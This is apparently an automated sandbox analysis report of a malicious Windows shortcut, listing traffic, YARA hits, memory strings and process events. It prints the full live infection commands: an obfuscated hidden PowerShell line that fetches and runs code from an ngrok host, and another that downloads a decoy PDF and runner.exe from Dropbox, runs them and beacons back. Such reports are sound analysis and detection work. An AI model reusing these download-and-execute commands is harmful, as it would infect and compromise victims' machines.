Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.67.18:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.102.39:443 -> 192.168.2.5:49927 version: TLS 1.2

Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833249772.00000000029D0000.00000008.00000001.01000000.0000000F.sdmp

Binary or memory string: DirectInput8Create

memstr_d5156469-2

Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007420769.00000000056F0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_14294727-0

Source: Yara match	File source: 27.3.933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.56f0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.fontdrvhost.exe.5220000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.3.933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.54d0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.fontdrvhost.exe.5440000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.fontdrvhost.exe.5220000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.3.933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.56f0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.fontdrvhost.exe.5220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000003.3007420769.00000000056F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3012717121.0000000005440000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3007231833.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe PID: 6180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 8004, type: MEMORYSTR

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: 0J3fAc6cHO.lnk

LNK file: /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)

Source: C:\Windows\System32\fontdrvhost.exe	Code function: 32_2_000002CB3B021CF4 NtAcceptConnectPort,CloseHandle,	32_2_000002CB3B021CF4
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 32_2_000002CB3B0215C0 NtAcceptConnectPort,	32_2_000002CB3B0215C0
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 32_2_000002CB3B020AC8 NtAcceptConnectPort,NtAcceptConnectPort,	32_2_000002CB3B020AC8
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 32_2_000002CB3B021AA4 NtAcceptConnectPort,NtAcceptConnectPort,	32_2_000002CB3B021AA4

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848E74D0C	2_2_00007FF848E74D0C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848E74CA5	2_2_00007FF848E74CA5
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C5C231	27_3_02C5C231
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C681D2	27_3_02C681D2
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C5C400	27_3_02C5C400
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 32_2_000002CB3B020C70	32_2_000002CB3B020C70

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Code function: String function: 02C5CD90 appears 33 times

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 440

Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2993935635.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2994624517.00000000048B9000.00000040.00001000.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3001644793.0000000002C79000.00000040.00000400.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3009052250.0000000002C79000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2993935635.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2994624517.00000000048B9000.00000040.00001000.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3001644793.0000000002C79000.00000040.00000400.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3009052250.0000000002C79000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.evad.winLNK@82/285@23/15

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\fontdrvhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-e29e6db8-75ad-66a800-a519b0931317}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4592
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8448:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2pnzarkv.joe.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\2055147785.bat" "

Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM ' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT DISTINCT ContainerID FROM ObjectDirTAB Where ObjectID IN (SELECT FatherID FROM ObjectDirTAB WHERE ContainerID = %u);
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u AND ContainerID <> ObjectID;
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE FatherID IN (SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u);
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name, %d+18,10) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#0,%Q);
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM ' \|\| quote(name) \|\| ';'FROM sqlite_master WHERE type = 'table' AND name!='sqlite_sequence';
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT %s FROM %s WHERE %s = %u OR %s = %u OR %s = %u or %s = %u;
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT ContainerID FROM ObjectDirTAB WHERE ObjectID = %u;
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT ContainerID FROM ObjectDirTAB WHERE ObjectID = %u;SELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE ObjectID IN (SELECT ObjectID FROM CrossRefTAB WHERE TargetObject IN (SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u)) AND ContainerID != %uSELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE ObjectID IN (SELECT ObjectID FROM ObjectDirTAB WHERE FatherID = %u)SELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE ObjectID IN (SELECT TargetObject FROM CrossRefTAB Where ObjectID IN (SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u)) AND ContainerID != %uSELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE FatherID IN (SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u);SELECT DISTINCT ContainerID FROM ObjectDirTAB Where ObjectID IN (SELECT FatherID FROM ObjectDirTAB WHERE ContainerID = %u);DirectoryIDDirectoryTABSCCStatusSCCStatusAttributesSELECT %s FROM %s WHERE %s = %u OR %s = %u OR %s = %u or %s = %u;FatTABSCCStatusDataSELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u AND ContainerID <> ObjectID;Property(%uClass(MetaDataItemRemovedEventMetaDataItemAddedEventMetaDataCreatedEventMetaData

Source: 0J3fAc6cHO.lnk

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2028,i,9691680658605753905,1504739169661148908,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6488 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6624 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\2055147785.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=6972 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\5622253b-f54a-4cad-af64-795d524a2bab.pdf
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=8376 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:6
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1012 --field-trial-handle=1968,i,15940542465096520038,8581582987264713649,262144 /prefetch:3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe "C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Process created: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe "C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe"
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 440
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\System32\fontdrvhost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4592 -s 136
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\2055147785.bat" "	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2028,i,9691680658605753905,1504739169661148908,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
